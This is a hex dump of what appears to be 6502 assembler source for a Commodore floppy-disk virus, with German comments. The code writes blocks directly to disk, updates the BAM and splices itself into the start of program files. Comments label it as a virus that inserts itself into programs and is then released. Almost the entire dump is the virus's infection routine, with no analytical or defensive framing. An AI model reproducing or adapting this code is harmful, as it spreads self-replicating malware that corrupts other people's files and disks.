00002140: 45 4E 00 63 29 CA 1C 4A 53 52 20 42 48 50 20 20 |EN.c)..JSR BHP |
00002150: 20 20 20 20 3B 4C 45 53 45 20 42 41 4D AB 54 52 | ;LESE BAM.TR|
00002160: 41 43 4B 00 6F 29 D4 1C 53 54 41 20 42 41 4D 00 |ACK.o)..STA BAM.|
00002170: 7B 29 DE 1C 4A 53 52 20 42 48 50 00 89 29 E8 1C |{)..JSR BHP..)..|
00002180: 53 54 41 20 42 41 4D AA 31 00 95 29 F2 1C 4A 53 |STA BAM.1..)..JS|
00002190: 52 20 42 48 50 00 A3 29 FC 1C 53 54 41 20 42 41 |R BHP..)..STA BA|
000021A0: 4D AA 32 00 B4 29 06 1D 4A 53 52 20 47 41 52 46 |M.2..)..JSR GARF|
000021B0: 49 45 4C 44 00 D8 29 10 1D 4C 44 59 20 23 42 4C |IELD..)..LDY #BL|
000021C0: 4F 43 4B 53 20 20 3B 53 55 43 48 45 20 B8 49 45 |OCKS ;SUCHE .IE|
000021D0: 20 53 45 43 A4 52 45 4E 00 E5 29 1A 1D 4C 44 58 | SEC.REN..)..LDX|
000021E0: 20 23 24 46 46 00 F3 29 24 1D 4A 55 4D 50 35 20 | #$FF..)$.JUMP5 |
000021F0: 50 48 50 00 FB 29 2E 1D 49 4E 58 00 07 2A 38 1D |PHP..)..INX..*8.|
00002200: 43 50 58 20 23 32 35 00 15 2A 42 1D 42 45 51 20 |CPX #25..*B.BEQ |
00002210: 4A 55 4D 50 36 00 1D 2A 4C 1D 50 4C 50 00 2A 2A |JUMP6..*L.PLP.**|
00002220: 56 1D 52 B0 20 42 41 4D AA 32 00 37 2A 60 1D 52 |V.R. BAM.2.7*`.R|
00002230: B0 20 42 41 4D AA 31 00 42 2A 6A 1D 52 B0 20 42 |. BAM.1.B*j.R. B|
00002240: 41 4D 00 61 2A 74 1D 42 43 43 20 4A 55 4D 50 35 |AM.a*t.BCC JUMP5|
00002250: 20 20 20 20 3B 53 45 43 A4 52 20 42 45 4C 45 47 | ;SEC.R BELEG|
00002260: 54 00 6C 2A 7E 1D 43 50 59 20 23 30 00 7A 2A 88 |T.l*~.CPY #0.z*.|
00002270: 1D 42 45 51 20 4A 55 4D 50 35 00 9B 2A 92 1D 54 |.BEQ JUMP5..*..T|
00002280: 58 41 20 20 20 20 20 20 20 20 20 20 3B 53 45 43 |XA ;SEC|
00002290: A4 52 20 47 45 46 55 4E 44 45 4E 00 AC 2A 9C 1D |.R GEFUNDEN..*..|
000022A0: 53 54 41 20 56 53 45 43 AB 31 2C 59 00 B4 2A A6 |STA VSEC.1,Y..*.|
000022B0: 1D 44 45 59 00 BC 2A B0 1D 43 4C 43 00 DC 2A BA |.DEY..*..CLC..*.|
000022C0: 1D 42 43 43 20 4A 55 4D 50 35 20 20 20 20 3B 57 |.BCC JUMP5 ;W|
000022D0: 45 49 54 45 52 20 53 55 43 48 45 4E 00 EA 2A C4 |EITER SUCHEN..*.|
000022E0: 1D 4A 55 4D 50 36 20 50 4C 50 00 08 2B CE 1D 4C |.JUMP6 PLP..+..L|
000022F0: 44 41 20 23 22 57 22 20 20 20 20 20 3B 53 43 48 |DA #"W" ;SCH|
00002300: 41 4C 54 45 20 41 55 46 00 27 2B D8 1D 53 54 41 |ALTE AUF.'+..STA|
00002310: 20 44 4F 20 20 20 20 20 20 20 3B 53 43 48 52 45 | DO ;SCHRE|
00002320: 49 42 4D 4F 44 55 53 00 36 2B E2 1D 4C 44 41 20 |IBMODUS.6+..LDA |
00002330: 56 54 52 41 43 4B 00 53 2B EC 1D 4A 53 52 20 42 |VTRACK.S+..JSR B|
00002340: 53 45 4C 45 43 54 20 20 3B 42 41 4D 20 55 50 44 |SELECT ;BAM UPD|
00002350: 41 54 45 00 5E 2B F6 1D 4C 44 41 20 B8 45 00 6B |ATE.^+..LDA .E.k|
00002360: 2B 00 1E 4A 53 52 20 50 41 50 41 00 77 2B 0A 1E |+..JSR PAPA.w+..|
00002370: 4C 44 41 20 42 41 4D 00 84 2B 14 1E 4A 53 52 20 |LDA BAM..+..JSR |
00002380: 50 41 50 41 00 92 2B 1E 1E 4C 44 41 20 42 41 4D |PAPA..+..LDA BAM|
00002390: AA 31 00 9F 2B 28 1E 4A 53 52 20 50 41 50 41 00 |.1..+(.JSR PAPA.|
000023A0: AD 2B 32 1E 4C 44 41 20 42 41 4D AA 32 00 BC 2B |.+2.LDA BAM.2..+|
000023B0: 3C 1E 4A 53 52 20 4F 55 54 55 4E 4C 00 DF 2B 46 |<.JSR OUTUNL..+F|
000023C0: 1E 4C 44 58 20 23 34 20 20 20 20 20 20 20 3B 53 |.LDX #4 ;S|
000023D0: 43 48 52 45 49 42 45 20 42 41 4D 20 41 55 46 00 |CHREIBE BAM AUF.|
000023E0: F6 2B 50 1E 4C 44 59 20 23 30 20 20 20 20 20 20 |.+P.LDY #0 |
000023F0: 20 3B 44 49 53 4B 00 01 2C 5A 1E 4C 44 41 20 23 | ;DISK..,Z.LDA #|
00002400: 31 00 0F 2C 64 1E 4A 53 52 20 4D 45 4D B0 59 00 |1..,d.JSR MEM.Y.|
00002410: 34 2C 6E 1E 4C 44 41 20 23 24 39 30 20 20 20 20 |4,n.LDA #$90 |
00002420: 20 3B 5F 5F 5F 5F 5F 5F 5F 42 4C 4F 43 4B AB 57 | ;_______BLOCK.W|
00002430: 52 49 54 45 00 55 2C 78 1E 4A 53 52 20 4F 55 54 |RITE.U,x.JSR OUT|
00002440: 55 4E 4C 20 20 20 3B 4B 4F 50 49 45 52 45 20 53 |UNL ;KOPIERE S|
00002450: 54 41 52 54 AB 00 78 2C 82 1E 4A 53 52 20 41 53 |TART..x,..JSR AS|
00002460: 4B 20 20 20 20 20 20 3B 42 4C 4F 43 4B 20 4E 41 |K ;BLOCK NA|
00002470: 43 48 20 88 5A 54 45 4E 00 98 2C 8C 1E 4C 44 58 |CH .ZTEN..,..LDX|
00002480: 20 50 55 46 46 45 52 20 20 20 3B 47 45 46 55 4E | PUFFER ;GEFUN|
00002490: 44 45 4E 20 B8 49 45 4E 00 B0 2C 96 1E 4C 44 59 |DEN .IEN..,..LDY|
000024A0: 20 23 30 20 20 20 20 20 20 20 3B 42 4C 4F 43 4B | #0 ;BLOCK|
000024B0: 00 BB 2C A0 1E 4C 44 41 20 23 32 00 C9 2C AA 1E |..,..LDA #2..,..|
000024C0: 4A 53 52 20 4D 45 4D B0 59 00 EA 2C B4 1E 4C 44 |JSR MEM.Y..,..LD|
000024D0: 41 20 54 52 41 43 4B 20 20 20 20 3B 4C 45 53 45 |A TRACK ;LESE|
000024E0: 20 42 4C 4F 43 4B 20 45 49 4E 00 F7 2C BE 1E 4A | BLOCK EIN..,..J|
000024F0: 53 52 20 50 41 50 41 00 05 2D C8 1E 4C 44 41 20 |SR PAPA..-..LDA |
00002500: 53 45 43 A4 52 00 14 2D D2 1E 4A 53 52 20 4F 55 |SEC.R..-..JSR OU|
00002510: 54 55 4E 4C 00 20 2D DC 1E 4C 44 58 20 4A 4F 42 |TUNL. -..LDX JOB|
00002520: 00 2B 2D E6 1E 4C 44 59 20 23 30 00 36 2D F0 1E |.+-..LDY #0.6-..|
00002530: 4C 44 41 20 23 31 00 44 2D FA 1E 4A 53 52 20 4D |LDA #1.D-..JSR M|
00002540: 45 4D B0 59 00 65 2D 04 1F 4C 44 41 20 23 24 38 |EM.Y.e-..LDA #$8|
00002550: 30 20 20 20 20 20 3B 5F 5F 5F 5F 5F 5F 5F 42 4C |0 ;_______BL|
00002560: 4F 43 4B AB 87 00 74 2D 0E 1F 4A 53 52 20 4F 55 |OCK...t-..JSR OU|
00002570: 54 55 4E 4C 00 80 2D 18 1F 4A 53 52 20 41 53 4B |TUNL..-..JSR ASK|
00002580: 00 8F 2D 22 1F 4C 44 58 20 50 55 46 46 45 52 00 |..-".LDX PUFFER.|
00002590: 9A 2D 2C 1F 4C 44 59 20 23 30 00 A5 2D 36 1F 4C |.-,.LDY #0..-6.L|
000025A0: 44 41 20 23 32 00 C8 2D 40 1F 4A 53 52 20 4D 45 |DA #2..-@.JSR ME|
000025B0: 4D B0 59 20 20 20 3B 53 43 48 52 45 49 42 45 20 |M.Y ;SCHREIBE |
000025C0: 42 4C 4F 43 4B 20 41 4E 00 E6 2D 4A 1F 4C 44 41 |BLOCK AN..-J.LDA|
000025D0: 20 56 54 52 41 43 4B 20 20 20 3B 4E 45 55 45 20 | VTRACK ;NEUE |
000025E0: 53 54 45 4C 4C 45 00 F3 2D 54 1F 4A 53 52 20 50 |STELLE..-T.JSR P|
000025F0: 41 50 41 00 09 2E 5E 1F 4C 44 41 20 56 53 45 43 |APA...^.LDA VSEC|
00002600: AA 42 4C 4F 43 4B 53 AB 31 00 18 2E 68 1F 4A 53 |.BLOCKS.1...h.JS|
00002610: 52 20 4F 55 54 55 4E 4C 00 24 2E 72 1F 4C 44 58 |R OUTUNL.$.r.LDX|
00002620: 20 4A 4F 42 00 2F 2E 7C 1F 4C 44 59 20 23 30 00 | JOB./.|.LDY #0.|
00002630: 3A 2E 86 1F 4C 44 41 20 23 31 00 48 2E 90 1F 4A |:...LDA #1.H...J|
00002640: 53 52 20 4D 45 4D B0 59 00 6D 2E 9A 1F 4C 44 41 |SR MEM.Y.m...LDA|
00002650: 20 23 24 39 30 20 20 20 20 20 3B 5F 5F 5F 5F 5F | #$90 ;_____|
00002660: 5F 5F 42 4C 4F 43 4B AB 57 52 49 54 45 00 7C 2E |__BLOCK.WRITE.|.|
00002670: A4 1F 4A 53 52 20 4F 55 54 55 4E 4C 00 88 2E AE |..JSR OUTUNL....|
00002680: 1F 4A 53 52 20 41 53 4B 00 AE 2E B8 1F 4C 44 58 |.JSR ASK.....LDX|
00002690: 20 23 30 20 20 20 20 20 20 20 3B 56 49 52 55 53 | #0 ;VIRUS|
000026A0: 20 41 4D 20 41 4E 46 41 4E 47 20 44 45 53 00 D3 | AM ANFANG DES..|
000026B0: 2E C2 1F 53 54 58 20 43 4F 55 4E 54 20 20 20 20 |...STX COUNT |
000026C0: 3B 50 52 4F 47 52 41 4D 4D 53 20 45 49 4E 42 41 |;PROGRAMMS EINBA|
000026D0: 55 45 4E 00 E5 2E CC 1F 4C 44 41 20 23 B3 53 54 |UEN.....LDA #.ST|
000026E0: 41 52 54 AB 34 00 EF 2E D6 1F 53 54 41 20 58 00 |ART.4.....STA X.|
000026F0: 01 2F E0 1F 4C 44 41 20 23 B1 53 54 41 52 54 AB |./..LDA #.START.|
00002700: 34 00 0B 2F EA 1F 53 54 41 20 59 00 16 2F F4 1F |4../..STA Y../..|
00002710: 4C 44 41 20 23 30 00 20 2F FE 1F 53 54 41 20 5A |LDA #0. /..STA Z|
00002720: 00 30 2F 08 20 4A 55 4D 50 38 20 4C 44 58 20 5A |.0/. JUMP8 LDX Z|
00002730: 00 3C 2F 12 20 4C 44 59 20 41 44 52 00 61 2F 1C |.</. LDY ADR.a/.|
00002740: 20 4C 44 41 20 23 33 32 20 20 20 20 20 20 3B 33 | LDA #32 ;3|
00002750: 32 20 42 59 54 45 53 20 49 4E 20 50 55 46 46 45 |2 BYTES IN PUFFE|
00002760: 52 00 7C 2F 26 20 4A 53 52 20 4D 45 4D B0 59 20 |R.|/& JSR MEM.Y |
00002770: 20 20 3B 53 43 48 52 45 49 42 45 4E 00 8C 2F 30 | ;SCHREIBEN../0|
00002780: 20 4A 55 4D 50 37 20 4C 44 59 20 5A 00 9A 2F 3A | JUMP7 LDY Z../:|
00002790: 20 4C 44 41 20 28 58 29 2C 59 00 A7 2F 44 20 4A | LDA (X),Y../D J|
000027A0: 53 52 20 50 41 50 41 00 B1 2F 4E 20 49 4E 43 20 |SR PAPA../N INC |
000027B0: 5A 00 BB 2F 58 20 4C 44 41 20 5A 00 C9 2F 62 20 |Z../X LDA Z../b |
000027C0: AF 20 23 25 31 31 31 31 31 00 D7 2F 6C 20 42 4E |. #%11111../l BN|
000027D0: 45 20 4A 55 4D 50 37 00 E8 2F 76 20 4A 53 52 20 |E JUMP7../v JSR |
000027E0: 47 41 52 46 49 45 4C 44 00 0C 30 80 20 4C 44 41 |GARFIELD..0. LDA|
000027F0: 20 5A 20 20 20 20 20 20 20 20 3B 4B 4F 4D 50 88 | Z ;KOMP.|
00002800: 54 45 52 20 42 4C 4F 43 4B 20 49 4E 00 33 30 8A |TER BLOCK IN.30.|
00002810: 20 42 4E 45 20 4A 55 4D 50 38 20 20 20 20 3B 50 | BNE JUMP8 ;P|
00002820: 55 46 46 45 52 20 47 45 53 43 48 52 49 45 42 45 |UFFER GESCHRIEBE|
00002830: 4E 2E 2E 00 41 30 94 20 4C 44 59 20 43 4F 55 4E |N...A0. LDY COUN|
00002840: 54 00 50 30 9E 20 42 4E 45 20 4A 55 4D 50 31 37 |T.P0. BNE JUMP17|
00002850: 00 76 30 A8 20 4C 44 58 20 23 32 20 20 20 20 20 |.v0. LDX #2 |
00002860: 20 20 3B 4B B0 52 49 47 49 45 52 45 20 53 54 41 | ;K.RIGIERE STA|
00002870: 52 54 41 44 52 2E 00 98 30 B2 20 4C 44 59 20 41 |RTADR...0. LDY A|
00002880: 44 52 20 20 20 20 20 20 3B 49 4D 20 45 52 53 54 |DR ;IM ERST|
00002890: 45 4E 20 42 4C 4F 43 4B 00 A3 30 BC 20 4C 44 41 |EN BLOCK..0. LDA|
000028A0: 20 23 32 00 B1 30 C6 20 4A 53 52 20 4D 45 4D B0 | #2..0. JSR MEM.|
000028B0: 59 00 C0 30 D0 20 4C 44 41 20 42 41 53 49 43 53 |Y..0. LDA BASICS|
000028C0: 00 CD 30 DA 20 4A 53 52 20 50 41 50 41 00 DE 30 |..0. JSR PAPA..0|
000028D0: E4 20 4C 44 41 20 42 41 53 49 43 53 AA 31 00 ED |. LDA BASICS.1..|
000028E0: 30 EE 20 4A 53 52 20 4F 55 54 55 4E 4C 00 FF 30 |0. JSR OUTUNL..0|
000028F0: F8 20 4A 55 4D 50 31 37 20 4C 44 58 20 23 30 00 |. JUMP17 LDX #0.|
00002900: 0B 31 02 21 4C 44 59 20 41 44 52 00 27 31 0C 21 |.1.!LDY ADR.'1.!|
00002910: 4C 44 41 20 23 32 20 20 20 20 20 20 20 3B 4C 49 |LDA #2 ;LI|
00002920: 4E 4B 42 59 54 45 53 00 43 31 16 21 4A 53 52 20 |NKBYTES.C1.!JSR |
00002930: 4D 45 4D B0 59 20 20 20 3B 4B B0 52 49 47 49 45 |MEM.Y ;K.RIGIE|
00002940: 52 45 4E 00 52 31 20 21 4C 44 41 20 56 54 52 41 |REN.R1 !LDA VTRA|
00002950: 43 4B 00 5F 31 2A 21 4A 53 52 20 50 41 50 41 00 |CK._1*!JSR PAPA.|
00002960: 6D 31 34 21 4C 44 59 20 43 4F 55 4E 54 00 7C 31 |m14!LDY COUNT.|1|
00002970: 3E 21 4C 44 41 20 56 53 45 43 2C 59 00 8B 31 48 |>!LDA VSEC,Y..1H|
00002980: 21 4A 53 52 20 4F 55 54 55 4E 4C 00 AC 31 52 21 |!JSR OUTUNL..1R!|
00002990: 4C 44 58 20 50 55 46 46 45 52 20 20 20 3B 42 4C |LDX PUFFER ;BL|
000029A0: 4F 43 4B 20 41 55 46 20 44 49 53 4B 00 C8 31 5C |OCK AUF DISK..1\|
000029B0: 21 4C 44 59 20 23 30 20 20 20 20 20 20 20 3B 53 |!LDY #0 ;S|
000029C0: 43 48 52 45 49 42 45 4E 00 D3 31 66 21 4C 44 41 |CHREIBEN..1f!LDA|
000029D0: 20 23 32 00 E1 31 70 21 4A 53 52 20 4D 45 4D B0 | #2..1p!JSR MEM.|
000029E0: 59 00 EF 31 7A 21 4C 44 59 20 43 4F 55 4E 54 00 |Y..1z!LDY COUNT.|
000029F0: FE 31 84 21 42 4E 45 20 4A 55 4D 50 31 31 00 0C |.1.!BNE JUMP11..|
00002A00: 32 8E 21 4C 44 41 20 54 52 41 43 4B 00 1A 32 98 |2.!LDA TRACK..2.|
00002A10: 21 2E 42 59 54 45 20 24 32 43 00 30 32 A2 21 4A |!.BYTE $2C.02.!J|
00002A20: 55 4D 50 31 31 20 4C 44 41 20 56 54 52 41 43 4B |UMP11 LDA VTRACK|
00002A30: 00 3D 32 AC 21 4A 53 52 20 50 41 50 41 00 4B 32 |.=2.!JSR PAPA.K2|
00002A40: B6 21 4C 44 59 20 43 4F 55 4E 54 00 5B 32 C0 21 |.!LDY COUNT.[2.!|
00002A50: 4C 44 41 20 53 45 43 A4 52 2C 59 00 6A 32 CA 21 |LDA SEC.R,Y.j2.!|
00002A60: 4A 53 52 20 4F 55 54 55 4E 4C 00 76 32 D4 21 4C |JSR OUTUNL.v2.!L|
00002A70: 44 58 20 4A 4F 42 00 81 32 DE 21 4C 44 59 20 23 |DX JOB..2.!LDY #|
00002A80: 30 00 8C 32 E8 21 4C 44 41 20 23 31 00 9A 32 F2 |0..2.!LDA #1..2.|
00002A90: 21 4A 53 52 20 4D 45 4D B0 59 00 BF 32 FC 21 4C |!JSR MEM.Y..2.!L|
00002AA0: 44 41 20 23 24 39 30 20 20 20 20 20 3B 5F 5F 5F |DA #$90 ;___|
00002AB0: 5F 5F 5F 5F 42 4C 4F 43 4B AB 57 52 49 54 45 00 |____BLOCK.WRITE.|
00002AC0: CE 32 06 22 4A 53 52 20 4F 55 54 55 4E 4C 00 DA |.2."JSR OUTUNL..|
00002AD0: 32 10 22 4A 53 52 20 41 53 4B 00 E2 32 1A 22 43 |2."JSR ASK..2."C|
00002AE0: 4C 43 00 EC 32 24 22 4C 44 41 20 58 00 F9 32 2E |LC..2$"LDA X..2.|
00002AF0: 22 41 44 43 20 23 32 35 34 00 03 33 38 22 53 54 |"ADC #254..38"ST|
00002B00: 41 20 58 00 0D 33 42 22 4C 44 41 20 59 00 18 33 |A X..3B"LDA Y..3|
00002B10: 4C 22 41 44 43 20 23 30 00 22 33 56 22 53 54 41 |L"ADC #0."3V"STA|
00002B20: 20 59 00 47 33 60 22 49 4E 43 20 43 4F 55 4E 54 | Y.G3`"INC COUNT|
00002B30: 20 20 20 20 3B 46 41 4C 4C 53 20 4E 4F 43 48 20 | ;FALLS NOCH |
00002B40: 42 4C 4F 45 43 4B 45 00 6E 33 6A 22 4C 44 58 20 |BLOECKE.n3j"LDX |
00002B50: 43 4F 55 4E 54 20 20 20 20 3B 5A 55 20 53 43 48 |COUNT ;ZU SCH|
00002B60: 52 45 49 42 45 4E 2C 20 57 45 49 54 45 52 00 7E |REIBEN, WEITER.~|
00002B70: 33 74 22 43 50 58 20 23 42 4C 4F 43 4B 53 00 A5 |3t"CPX #BLOCKS..|
00002B80: 33 7E 22 42 45 51 20 42 59 45 20 20 20 20 20 20 |3~"BEQ BYE |
00002B90: 3B 48 49 50 50 49 45 21 46 45 52 54 49 47 20 53 |;HIPPIE!FERTIG S|
00002BA0: 41 4E 20 4D 41 00 B3 33 88 22 4A 4D 50 20 4A 55 |AN MA..3."JMP JU|
00002BB0: 4D 50 38 00 D5 33 28 23 3B 57 49 52 44 20 45 49 |MP8..3(#;WIRD EI|
00002BC0: 4E 20 56 49 52 55 53 20 B8 49 47 45 4C 41 53 53 |N VIRUS .IGELASS|
00002BD0: 45 4E 2E 2E 2E 00 E6 33 2A 26 42 59 45 20 4C 44 |EN.....3*&BYE LD|
00002BE0: 41 20 23 24 36 30 00 F2 33 34 26 53 54 41 20 53 |A #$60..34&STA S|
00002BF0: 45 4B 00 FE 33 3E 26 4A 53 52 20 46 4A 53 00 0B |EK..3>&JSR FJS..|
00002C00: 34 48 26 4C 44 41 20 23 24 36 46 00 17 34 52 26 |4H&LDA #$6F..4R&|
00002C10: 53 54 41 20 53 45 4B 00 22 34 5C 26 4A 53 52 20 |STA SEK."4\&JSR |
00002C20: 53 9B 00 2F 34 66 26 4C 44 41 20 23 22 49 22 00 |S../4f&LDA #"I".|
00002C30: 3E 34 70 26 4A 53 52 20 4F 55 54 55 4E 4C 00 4B |>4p&JSR OUTUNL.K|
00002C40: 34 7A 26 4C 44 58 20 23 24 30 30 00 6B 34 84 26 |4z&LDX #$00.k4.&|
00002C50: 4A 55 4D 50 31 34 20 50 4C 41 20 20 20 3B 53 50 |JUMP14 PLA ;SP|
00002C60: 45 49 43 48 45 52 53 54 45 4C C3 00 8A 34 8E 26 |EICHERSTEL...4.&|
00002C70: 53 54 41 20 4D 45 4D 2C 58 20 20 20 20 3B 52 45 |STA MEM,X ;RE|
00002C80: 53 54 41 55 52 49 45 52 45 4E 00 92 34 98 26 49 |STAURIEREN..4.&I|
00002C90: 4E 58 00 A5 34 A2 26 43 50 58 20 23 31 34 AA 42 |NX..4.&CPX #14.B|
00002CA0: 4C 4F 43 4B 53 00 B4 34 AC 26 42 4E 45 20 4A 55 |LOCKS..4.&BNE JU|
00002CB0: 4D 50 31 34 00 C1 34 B6 26 4C 44 58 20 23 24 30 |MP14..4.&LDX #$0|
00002CC0: 30 00 D0 34 C0 26 4A 55 4D 50 31 35 20 50 4C 41 |0..4.&JUMP15 PLA|
00002CD0: 00 DE 34 CA 26 53 54 41 20 50 41 52 2C 58 00 E6 |..4.&STA PAR,X..|
00002CE0: 34 D4 26 49 4E 58 00 F3 34 DE 26 43 50 58 20 23 |4.&INX..4.&CPX #|
00002CF0: 24 30 36 00 02 35 E8 26 42 4E 45 20 4A 55 4D 50 |$06..5.&BNE JUMP|
00002D00: 31 35 00 0F 35 ED 26 4A 53 52 20 43 41 4C 4C 00 |15..5.&JSR CALL.|
00002D10: 17 35 F2 26 50 4C 41 00 26 35 FC 26 53 54 41 20 |.5.&PLA.&5.&STA |
00002D20: 53 54 41 54 55 53 00 49 35 06 27 52 54 53 20 20 |STATUS.I5.'RTS |
00002D30: 20 20 20 20 20 20 20 20 3B 56 49 52 55 53 50 52 | ;VIRUSPR|
00002D40: 4F 47 52 41 4D 4D 20 80 45 00 65 35 10 27 3B AB |OGRAMM .E.e5.';.|
00002D50: AB AB AB AB 49 45 43 4F 55 54 AA 55 4E 9B AB AB |....IECOUT.UN...|
00002D60: AB AB AB AB B1 00 79 35 1A 27 4F 55 54 55 4E 4C |......y5.'OUTUNL|
00002D70: 20 4A 53 52 20 50 41 50 41 00 8A 35 24 27 4A 4D | JSR PAPA..5$'JM|
00002D80: 50 20 47 41 52 46 49 45 4C 44 00 A9 35 F8 2A 3B |P GARFIELD..5.*;|
00002D90: AB AB AB AB AB AB 42 53 45 4C 45 43 54 AB AB AB |......BSELECT...|
00002DA0: AB AB AB AB AB AB AB AB B1 00 CB 35 02 2B 42 53 |...........5.+BS|
00002DB0: 45 4C 45 43 54 20 41 53 4C 20 3B 53 45 4C 45 4B |ELECT ASL ;SELEK|
00002DC0: 54 49 45 52 54 20 45 49 4E 45 4E 00 EA 35 0C 2B |TIERT EINEN..5.+|
00002DD0: 41 53 4C 20 20 20 20 20 20 20 20 20 3B 54 52 41 |ASL ;TRA|
00002DE0: 43 4B 20 44 45 52 20 42 41 4D 00 F2 35 16 2B 54 |CK DER BAM..5.+T|
00002DF0: 41 58 00 FD 35 20 2B 4C 44 59 20 23 37 00 08 36 |AX..5 +LDY #7..6|
00002E00: 2A 2B 4C 44 41 20 23 34 00 16 36 34 2B 4A 4D 50 |*+LDA #4..64+JMP|
00002E10: 20 4D 45 4D B0 59 00 35 36 E0 2E 3B AB AB AB AB | MEM.Y.56..;....|
00002E20: AB AB 53 54 41 4C 4B AB AB AB AB AB AB AB AB AB |..STALK.........|
00002E30: AB AB AB AB B1 00 47 36 EA 2E 53 54 41 4C 4B 20 |......G6..STALK |
00002E40: 4C 44 41 20 44 45 56 00 56 36 F4 2E 4A 53 52 20 |LDA DEV.V6..JSR |
00002E50: 53 41 53 4B 49 41 00 7B 36 FE 2E 4C 44 41 20 53 |SASKIA.{6..LDA S|
00002E60: 45 4B 20 20 20 20 20 3B 50 52 49 4D 41 45 52 AB |EK ;PRIMAER.|
00002E70: 26 53 45 4B 55 4E 44 41 45 52 AB 00 9A 36 08 2F |&SEKUNDAER...6./|
00002E80: 4A 4D 50 20 43 48 52 49 53 54 49 4E 45 3B 41 44 |JMP CHRISTINE;AD|
00002E90: 52 45 53 53 45 20 54 41 4C 4B 00 B6 36 C8 32 3B |RESSE TALK..6.2;|
00002EA0: AB AB AB AB AB AB 53 9B AB AB AB AB AB AB AB AB |......S.........|
00002EB0: AB AB AB AB AB B1 00 C5 36 D2 32 53 9B 20 4C 44 |........6.2S. LD|
00002EC0: 41 20 44 45 56 00 D2 36 DC 32 4A 53 52 20 4E 45 |A DEV..6.2JSR NE|
00002ED0: 4D 4F 00 F7 36 E6 32 4C 44 41 20 53 45 4B 20 20 |MO..6.2LDA SEK |
00002EE0: 20 20 20 3B 50 52 49 4D 41 45 52 AB 26 53 45 4B | ;PRIMAER.&SEK|
00002EF0: 55 4E 44 41 45 52 AB 00 14 37 F0 32 4A 4D 50 20 |UNDAER...7.2JMP |
00002F00: 54 48 4F 4D 41 53 20 20 3B 41 44 52 45 53 53 45 |THOMAS ;ADRESSE|
00002F10: 20 9B 45 4E 00 33 37 B0 36 3B AB AB AB AB AB AB | .EN.37.6;......|
00002F20: 41 53 4B AB AB AB AB AB AB AB AB AB AB AB AB AB |ASK.............|
00002F30: AB AB B1 00 53 37 BA 36 41 53 4B 20 4C 44 41 20 |....S7.6ASK LDA |
00002F40: 23 22 52 22 3B 55 45 42 45 52 50 52 55 45 46 45 |#"R";UEBERPRUEFE|
00002F50: 20 4F 42 00 70 37 C4 36 53 54 41 20 44 4F 20 20 | OB.p7.6STA DO |
00002F60: 20 20 20 20 3B 4A 4F 42 20 41 4E 20 44 49 53 4B | ;JOB AN DISK|
00002F70: 00 92 37 CE 36 41 31 20 4C 44 58 20 23 30 20 20 |..7.6A1 LDX #0 |
00002F80: 20 3B 53 43 48 91 20 41 55 53 47 45 46 55 45 48 | ;SCH. AUSGEFUEH|
00002F90: 52 54 00 A7 37 D8 36 41 32 20 4E 4F 50 20 20 20 |RT..7.6A2 NOP |
00002FA0: 20 20 20 3B 49 53 54 00 AF 37 E2 36 4E 4F 50 00 | ;IST..7.6NOP.|
00002FB0: B7 37 EC 36 4E 4F 50 00 BF 37 F6 36 4E 4F 50 00 |.7.6NOP..7.6NOP.|
00002FC0: C7 37 00 37 49 4E 58 00 D2 37 0A 37 42 4E 45 20 |.7.7INX..7.7BNE |
00002FD0: 41 32 00 DE 37 14 37 4C 44 58 20 4A 4F 42 00 E9 |A2..7.7LDX JOB..|
00002FE0: 37 1E 37 4C 44 59 20 23 30 00 F4 37 28 37 4C 44 |7.7LDY #0..7(7LD|
00002FF0: 41 20 23 31 00 02 38 32 37 4A 53 52 20 4D 45 4D |A #1..827JSR MEM|
00003000: B0 59 00 13 38 3C 37 4A 53 52 20 47 41 52 46 49 |.Y..8<7JSR GARFI|
00003010: 45 4C 44 00 21 38 46 37 4A 53 52 20 53 54 41 4C |ELD.!8F7JSR STAL|
00003020: 4B 00 2D 38 50 37 4A 53 52 20 42 48 50 00 35 38 |K.-8P7JSR BHP.58|
00003030: 5A 37 50 48 41 00 43 38 64 37 4A 53 52 20 53 55 |Z7PHA.C8d7JSR SU|
00003040: 48 41 4C 00 4B 38 6E 37 50 4C 41 00 56 38 78 37 |HAL.K8n7PLA.V8x7|
00003050: AF 20 23 24 38 30 00 7A 38 82 37 42 4E 45 20 41 |. #$80.z8.7BNE A|
00003060: 31 20 20 20 20 20 20 3B 4E 45 49 4E 2C 20 44 41 |1 ;NEIN, DA|
00003070: 4E 4E 20 4E 4F 43 48 4D 41 4C 00 87 38 8C 37 4C |NN NOCHMAL..8.7L|
00003080: 44 41 20 23 22 57 22 00 92 38 96 37 53 54 41 20 |DA #"W"..8.7STA |
00003090: 44 4F 00 9A 38 A0 37 52 54 53 00 B8 38 98 3A 3B |DO..8.7RTS..8.:;|
000030A0: AB AB AB AB AB AB 4D 45 4D B0 59 AB 41 4B 4B 55 |......MEM.Y.AKKU|
000030B0: AB AB AB AB AB AB AB B1 00 CE 38 A2 3A 4D 45 4D |..........8.:MEM|
000030C0: B0 59 20 50 48 41 20 20 3B 22 4D 2D 22 AA 00 F2 |.Y PHA ;"M-"...|
000030D0: 38 AC 3A 54 59 41 20 20 20 20 20 20 20 20 20 3B |8.:TYA ;|
000030E0: 53 50 45 49 43 48 45 52 53 54 45 4C 4C 45 20 44 |SPEICHERSTELLE D|
000030F0: 4F AA 00 06 39 B6 3A 50 48 41 20 20 20 20 20 20 |O...9.:PHA |
00003100: 20 20 20 3B 58 AA 00 1A 39 C0 3A 54 58 41 20 20 | ;X...9.:TXA |
00003110: 20 20 20 20 20 20 20 3B 59 AA 00 2D 39 CA 3A 50 | ;Y..-9.:P|
00003120: 48 41 20 20 20 20 20 20 20 20 20 3B 41 00 4A 39 |HA ;A.J9|
00003130: D4 3A 4A 53 52 20 53 9B 20 20 20 3B 41 4E 20 46 |.:JSR S. ;AN F|
00003140: 4C 4F 50 50 59 20 53 80 45 4E 00 57 39 DE 3A 4C |LOPPY S.EN.W9.:L|
00003150: 44 41 20 23 22 4D 22 00 64 39 E8 3A 4A 53 52 20 |DA #"M".d9.:JSR |
00003160: 50 41 50 41 00 71 39 F2 3A 4C 44 41 20 23 22 2D |PAPA.q9.:LDA #"-|
00003170: 22 00 7E 39 FC 3A 4A 53 52 20 50 41 50 41 00 89 |".~9.:JSR PAPA..|
00003180: 39 06 3B 4C 44 41 20 44 4F 00 96 39 10 3B 4A 53 |9.;LDA DO..9.;JS|
00003190: 52 20 50 41 50 41 00 9E 39 1A 3B 50 4C 41 00 AB |R PAPA..9.;PLA..|
000031A0: 39 24 3B 4A 53 52 20 50 41 50 41 00 B3 39 2E 3B |9$;JSR PAPA..9.;|
